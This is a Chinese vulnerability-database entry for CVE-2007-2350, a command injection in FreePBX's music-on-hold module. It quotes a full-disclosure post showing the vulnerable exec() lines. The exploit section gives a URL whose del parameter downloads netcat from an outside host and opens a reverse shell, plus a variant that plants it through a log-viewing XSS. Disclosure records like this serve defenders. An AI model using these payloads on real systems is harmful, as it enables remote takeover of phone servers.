freePBX 'admin/config.php'任意代码执行漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1190785 漏洞类型 未知
发布时间 2007-04-30 更新时间 2007-04-30
CVE编号 CVE-2007-2350 CNNVD-ID CNNVD-200704-596
漏洞平台 N/A CVSS评分 6.5
|漏洞来源
https://www.securityfocus.com/bid/86224
https://cxsecurity.com/issue/WLB-2007050006
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200704-596
|漏洞详情
freePBX的music-on-hold模块中的admin/config.php文件存在任意代码执行漏洞。远程认证管理员可以借助del参数中的外壳元字符,执行任意指令。
|漏洞EXP
I've found a code injection in the music-on-hold module at freePBX's  
portal.

There are Inssuficient filters in the delete functions. Only " '  
and ; are being filtered.

Vulnerable Lines:
300:                        $rmcmd="rm -f "".$path_to_dir."/". 
$del.""";
301:                        exec($rmcmd);


Example code:
http://<freePBX-host>/admin/config.php?display=music&del=`wget -q  
http://xenomuta.coolinc.info/nc -O /tmp/nc``/tmp/nc  
myhost.mydomain.com 1234 -e /bin/sh`&category=default


You can inject this code without access to the portal into the /var/ 
log/asterisk/full this way...
./asteriskxss.php asterisk-server "<img src="/admin/config.php? 
display=music&del=`wget -q http://xenomuta.coolinc.info/nc -O /tmp/nc 
``/tmp/nc myhost.mydomain.com 1234 -e /bin/sh`&category=default">"
hoping that an administrator to view the logs from the portals....  
using the documented XSS vulnerability posted here...

http://lists.grok.org.uk/pipermail/full-disclosure/2007-April/ 
053882.html


-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2425 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20070421/af7f0d9a/attachment.bin 




















|受影响的产品
freePBX freePBX 2.2.1
|参考资料

来源:VUPEN
名称:ADV-2007-1535
链接:http://www.frsirt.com/english/advisories/2007/1535
来源:SECUNIA
名称:24935
链接:http://secunia.com/advisories/24935
来源:OSVDB
名称:35316
链接:http://osvdb.org/35316
来源:FULLDISC
名称:20070421freePBX2.2.x'sMusic-on-holdRemoteCodeExecutionInjection
链接:http://lists.grok.org.uk/pipermail/full-disclosure/2007-April/053915.html
来源:SREASON
名称:2652
链接:http://securityreason.com/securityalert/2652